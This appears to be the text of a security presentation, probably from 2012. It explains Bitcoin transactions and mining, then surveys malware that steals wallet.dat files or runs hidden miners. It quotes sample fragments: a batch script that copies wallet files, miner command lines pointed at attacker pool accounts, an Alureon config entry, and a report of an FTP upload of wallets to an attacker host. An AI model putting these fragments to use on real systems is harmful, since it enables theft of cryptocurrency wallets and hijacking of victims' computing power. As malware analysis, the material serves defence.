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Making the headlines… 



What is Bitcoin? 



“new electronic cash system that uses a P2P 

network to prevent double spending” 

-- Satoshi Nakamoto 

Bitcoin is … 

Made public January 11, 2009 

..a decentralized, P2P 

system 

..a virtual currency 

..open source software 



• It uses cryptography to validate transactions 

• It makes transactions that are quick and 

irreversible 

• It is accepted by various online and real world 

retailers 

• It can be exchanged for real-world currency 

 

 

What is Bitcoin? 
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How does it 
work? 



• Transactions 

• Validation 

• Mining 

• Controlled currency 

 

 

How does it work? 



Bitcoin client software:  Bitcoin-QT 



Transactions 

• Each bitcoin user has a public and private key pair 

in their bitcoin wallets 

 

• When a Alice wants to send one bitcoin to Bob: 

1. Bob‟s public key is sent to Alice 

 

2. The public key, as well as the transfer 

amount, is added to a transaction message 

 

3. Message is signed by Alice‟s private key 

 

4. Message is broadcast to the network 

 



Validation 

• Before Bob can receive the bitcoin, the network 

needs to validate the broadcast message 

 

• Validation is performed by “miner” nodes on the 

P2P network 

 

• Message is collected into “blocks” being worked 

on by the miner nodes 

 

• Work here means “generating hashes” 

 

 



Validation 

http://blockexplorer.com/b/198124 

Target 

Indirect hash of all transactions in this block 

Hash of previous block 

http://blockexplorer.com/b/198124


• Miners need to calculate a 256 bit hash of the 

blocks header that is lower than the “target” 

• This is a brute force method that requires lots of 

processing power 

• To compensate for this effort, the miner that first 

calculates the hash receives a reward 

• This is how bitcoins come into existence 

 

 

Mining 



• Reward halved after 210,000 blocks solved (every 4 
years) 

• The difficulty of calculating the hash of blocks is 
adjusted every 2016 blocks (every 2 weeks) 

• Average 6 per hour are solved 

• By 2040, after 21 million bitcoins are in circulation, 
the system will stop rewarding miners 

• 10,033,200 bitcoins are currently in circulation (27 
Sept, 12) 

 

Controlled currency 



Bitcoin mining software 

• Mining software and source code freely available 

• Use CPU, GPU and/or FPGA (Field-Programmable 
Gate Array) to speed up hashing 

• Ufasoft bitcoin miner 

• CPU Miner 

• Diablo Miner 

• Phoenix Miner 

• RPC Miner 

• Python/OpenGL GPU miner 



• Bitcoin networks use JSON-RPC protocol for 

network communications 

• Bitcoin servers retrieve blocks from the network 

• Bitcoin miners retrieve work from these servers 

(i.e. blocks to hash) using getwork requests 

• When a hashing attempt is made, another getwork 

request is made with the hash included 

 

 

Bitcoin mining software 



• Solo mining: Miner attempts to generate hash for 

blocks on their own 

• Can take a long time to solve 

• Pooled mining: Miner joins mining pool 

• More processing power due to large number of 

miners 

• Reward shared between contributing miners 

 

Solo vs. pooled mining 



Bitcoin and 
malware 



• TrojanSpy:Win32/Winwacay.A 

• First appeared 16 June 2011 

• Only payload is to email the following file to the 

attacker:  

 %APPDATA%\Roaming\Bitcoin\wallet.dat 

 

 

 

First Bitcoin targeting malware 



• Stored by original Bitcoin client in known file 
location 

 

 

 

The Bitcoin wallet 



• Steals username and passwords for 
Runescape, Minecraft, RSBuddy, and 
others 
 

• Emails wallet.dat file to attacker 
 

Malware that targets the bitcoin wallet 

    

  MSIL/Golroted.A 
 
  BAT/Mincostel.A 
 
  Win32/Aregorp.A 
    
  Win32/Kelihos.B 
 
   

echo ----Dump bitcoins---- >> 
.\%computername%\%username%.txt 
----- 
::WinXP 
if exist “%AppData%\Bitcoin\wallet.dat 
mkdir “.\%computername%\Bitcoin”” 
cls  
copy /Y “%AppData%\Bitcoin\addr.dat” 
“.\%computername%\Bitcoin\addr.dat 
cls  
copy /Y “%AppData%\Bitcoin\wallet.dat” 
“.\%computername%\Bitcoin\wallet.dat 

• Uploads %APPDATA%\Bitcoin\wallet.dat   
to FTP server xier.zapto.org 

• Captures sensitive information 
 
• Communicates with remote server 
 
• Performs bitcoin mining and steals wallet 

from: 
 
%APPDATA%\Bitcoin\wallet.dat (WinXP) 
or 
%APPDATA%\Roaming\Bitcoin\wallet.dat(Win 
7/8 & Vista) 
  



Backdoor:MacOS_X/DevilRobber.A 
October 2011 

• First Trojan to target bitcoin users on OSX platform 

• Copies wallet contents and performs bitcoin mining 

• Uses shell script to dump ~/Library/Application 

Support\Bitcoin\wallet.dat contents to „dump.txt‟ 

 



Malware mining for bitcoins 

• Barriers when trying to steal “wallet.dat” contents  

• Another option for malware authors: Utilize CPU 

• First malicious program with bitcoin mining 

functionality discovered 26 June 2011 

• Trojan:Win32/Minepite.A 

 

 



Trojan:Win32/Minepite.A 
June 2011 

• Nullsoft installer that drops file “bcm.exe”, a Ufasoft 
bitcoin mining program 

• Ufasoft miner passed parameters and invoked 
through Nullsoft script 

 

 
-a 5     getwork request every 5 seconds 
-o http://pit.deepbit.net:8332 mining pool server for getwork request 
-u JohXXXX8@mail.com  Username of attackers account on server 
-p J3XXXxa   Password of attackers account on server 
 



Malware mining for bitcoins 
Drop and load 

Trojan:BAT/MineBicoin.A 

Trojan:MSIL/Remdobe.A 

Trojan:Win32/Fosidime CPU miner:  
awcp.exe –a 4way –t 1 –o %url% -u 

jodyfoster.1 –p xyz -T 

GPU miner: 
awgep.exe –o %url% -u 

jodyfoster.2 –p xyz –I 2 –T –t 0 



Malware mining for bitcoins 
Drop and load 

Trojan:Win32/Bocinex 

Added to  MSRT April 2012 

Trojan:Win32/Vicenor 

Loads Ufasoft miner to memory 



Bitcoin botnets 

• Power of pooled mining demonstrates potential 

earnings 

• Malware authors setting up their own bitcoin 

mining botnets 

• Mining functionality seen in various prevalent 

families 

 

 



Alureon 

• August 2011: Update to 

Alureon configuration 

file 

• New section added* 

 
[tlscaloc] 

svchost.exe=180| -g yes –t 1 –o 

http://pacrim.eclipsemc.com:83

37/ -u <username> -p 

<password> 

 

*Reported by Kaspersky Labs  
 

• Communicates with 

server 

http://188.229.89.120:8

334 using JSON-RPC 

protocol 

 

• getwork requests sent 

to server  

 

• Hash calculations 

performed on retrieved 

data 

Win32/Alureon 

Win32/Rorpian 

Aka TDSS 



Bafruz 
Aka Badlib 

• Multi-component backdoor trojan 

• Downloads its components through peer-to-peer 
network 

• Contains a bitcoin server and a bitcoin client 
component 

• Client downloads Ufasoft, RPC miner, Phoenix miner, 
and graphic card drivers 

• Server allocates work to clients 

 

 



Sirefef  
Aka ZeroAccess 

• Communicates via P2P protocol 

• Downloads number of files to hidden folder in 

<system root>, for example: 

 00000001.@     80000000.@ 

 00000002.@   80000004.@ 

 00000004.@   80000032.@ 

 000000c0.@   800000cf.@ 

 

• Ufasoft bitcoin miner included in downloaded files 



Prevalence 
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• Encryption and backup of wallet hinders malware‟s 

efforts  

• Bitcoin wiki includes some useful advice 

(https://en.bitcoin.it/wiki/Securing_your_wallet) 

• Although not malicious, presence of bitcoin mining 

software may indicate presence of malware 

 

 

 

Bitcoin and security 



• Safely securing the wallet should make it difficult 
for malware targeting the wallet 

• Bitcoin mining more difficult as more join in the 
effort 

• Reward falls every 4 years 

• More sophisticated compromises of Bitcoin 
exchanges and online services will continue as 
more bitcoins circulate 

 

The future and conclusion  




